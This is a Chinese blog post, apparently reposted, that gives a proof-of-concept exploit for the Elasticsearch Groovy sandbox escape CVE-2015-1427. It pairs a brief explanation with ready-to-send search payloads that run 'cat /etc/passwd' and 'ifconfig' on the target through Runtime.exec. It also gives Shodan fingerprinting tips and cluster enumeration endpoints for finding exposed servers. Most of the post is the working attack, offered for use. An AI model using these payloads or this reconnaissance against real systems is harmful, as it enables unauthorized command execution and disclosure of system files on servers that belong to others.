ElasticSearch Groovy远程代码执行漏洞(CVE-2015-1427)POC

漏洞原理

ElasticSearch是一个JAVA开发的搜索分析引擎。

2014年,曾经被曝出过一个 远程代码执行漏洞(CVE-2014-3120) ,漏洞出现在脚本查询模块,由于搜索引擎支持使用脚本代码(MVEL),作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意java代码,

后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行。

漏洞POC

原理已被多人分析过,这里不在重复,直接上大家期待的POC吧!

POST http://target:9200/_search?pretty 
{"size":1,"script_fields": {"test#": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}

互联网实际案例

ElasticSearch Groovy远程代码执行漏洞(CVE-2015-1427)POC_第1张图片
image

ElasticSearch端口是该引擎的重要指纹,如果使用shodan搜索You Know, for也很不错,

查看状态:http://xxxx:9200/_status
集群健康报告:http://xxxx:9200/_cluster/health
集群节点信息:http://xxxx:9200/_nodes

http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nString%20str%20=%20\%22\%22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().exec(\%22ifconfig\%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();%22}}}

你可能感兴趣的:(ElasticSearch Groovy远程代码执行漏洞(CVE-2015-1427)POC)